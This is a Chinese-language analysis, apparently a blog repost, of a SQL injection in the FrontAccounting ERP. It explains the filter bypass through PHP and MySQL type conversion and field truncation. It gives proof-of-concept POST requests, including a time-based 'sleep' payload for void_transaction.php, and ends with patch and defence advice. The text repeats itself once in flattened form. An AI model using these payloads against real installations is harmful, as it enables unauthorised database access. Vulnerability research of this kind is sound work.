Frontaccounting一个有趣的 sql注入
字数 1110 2025-08-29 08:31:47

Frontaccounting SQL注入漏洞分析与利用

漏洞概述

Frontaccounting是一款开源的会计系统(ERP),在其某些版本中存在一个有趣的SQL注入漏洞。该漏洞源于对用户输入过滤不严,结合MySQL的特性实现了注入绕过。

环境准备

测试环境:docker mattrayner/lamp:latest-1604

漏洞分析

过滤机制分析

Frontaccounting使用db_escape()函数过滤参数,但某些参数未使用此函数。

关键过滤函数位于includes/session.inc:484

// 使用ENT_QUOTES编码双引号和单引号
// 输入时单双引号全部会被实体编码

注入点定位

  1. includes/db/class.reflines_db.inc:156处,如果设置变量$reference'XXXXXX\',单引号可逃逸
  2. admin/void_transaction.php中,$type变量可控
  3. purchasing/includes/db/grn_db.inc中,$reference变量可控

关键注入路径

  1. get_systype_db_info()函数
  2. grn_batch的插入操作

绕过技术

PHP特性绕过

switch ($type)
  • '25''+25dasdsadasda'在PHP中被视为相同

MySQL特性绕过

  1. MySQL在字符串和整型转换时的特性:

    • '25''25dasdasdasd'等同于'+25dasdasdasd'
    • 整型和字符串可以相加
  2. MySQL截断特性:

    • 可导致转义符被"吃掉"

漏洞利用(POC)

第一种利用方式

通过po_entry_items.php中的insert方法:

POST /FA1/purchasing/po_entry_items.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
[...]
supplier_id=1&OrderDate=12/31/2018&ref=001100422222222222222222222201700422222222222222212222/2018\\&supp_ref=...

关键点:

  • $reference变量在数据库中存储为60字节
  • 设置$reference为61字节(如001100422222222222222222222201700422222222222222212222/2018\\)
  • 数据库中实际存储为001100422222222222222222222201700422222222222222212222/2018\,完成注入

第二种利用方式

通过void_transaction.php

POST /FA1//admin/void_transaction.php?JsHttpRequest=0-xml HTTP/1.1
Host: 127.0.0.1:8888
[...]
filterType=%2b25%2c25)%20or%20sleep(1)%23&FromTransNo=1&ToTransNo=999999...

最终执行的SQL语句:

SELECT * FROM 0_reflines WHERE trans_type='+25,25) or sleep(1)#' AND CHAR_LENGTH(`prefix`) AND LEFT('20170042222222222222222222220170042222222222222221222222221\', CHAR_LENGTH(`prefix`)) = `prefix` UNION SELECT * FROM 0_reflines WHERE trans_type='+25,25) and sleep(1)#' AND `prefix`=''

漏洞修复

官方已发布修复补丁,建议升级到最新版本。

总结

  1. 该漏洞利用了PHP和MySQL的类型转换特性
  2. 通过精心构造的字符串长度实现注入
  3. +符号在绕过中起到了关键作用
  4. 漏洞存在于多个功能点,具有较大影响范围

防御建议

  1. 对所有用户输入使用统一的过滤函数
  2. 使用参数化查询而非字符串拼接
  3. 严格限制输入长度和类型
  4. 升级到已修复的安全版本
Frontaccounting SQL注入漏洞分析与利用 漏洞概述 Frontaccounting是一款开源的会计系统(ERP),在其某些版本中存在一个有趣的SQL注入漏洞。该漏洞源于对用户输入过滤不严,结合MySQL的特性实现了注入绕过。 环境准备 测试环境:docker mattrayner/lamp:latest-1604 漏洞分析 过滤机制分析 Frontaccounting使用 db_escape() 函数过滤参数,但某些参数未使用此函数。 关键过滤函数位于 includes/session.inc:484 : 注入点定位 在 includes/db/class.reflines_db.inc:156 处,如果设置变量 $reference 如 'XXXXXX\' ,单引号可逃逸 在 admin/void_transaction.php 中, $type 变量可控 在 purchasing/includes/db/grn_db.inc 中, $reference 变量可控 关键注入路径 get_systype_db_info() 函数 表 grn_batch 的插入操作 绕过技术 PHP特性绕过 '25' 和 '+25dasdsadasda' 在PHP中被视为相同 MySQL特性绕过 MySQL在字符串和整型转换时的特性: '25' 和 '25dasdasdasd' 等同于 '+25dasdasdasd' 整型和字符串可以相加 MySQL截断特性: 可导致转义符被"吃掉" 漏洞利用(POC) 第一种利用方式 通过 po_entry_items.php 中的insert方法: 关键点: $reference 变量在数据库中存储为60字节 设置 $reference 为61字节(如 001100422222222222222222222201700422222222222222212222/2018\\ ) 数据库中实际存储为 001100422222222222222222222201700422222222222222212222/2018\ ,完成注入 第二种利用方式 通过 void_transaction.php : 最终执行的SQL语句: 漏洞修复 官方已发布修复补丁,建议升级到最新版本。 总结 该漏洞利用了PHP和MySQL的类型转换特性 通过精心构造的字符串长度实现注入 + 符号在绕过中起到了关键作用 漏洞存在于多个功能点,具有较大影响范围 防御建议 对所有用户输入使用统一的过滤函数 使用参数化查询而非字符串拼接 严格限制输入长度和类型 升级到已修复的安全版本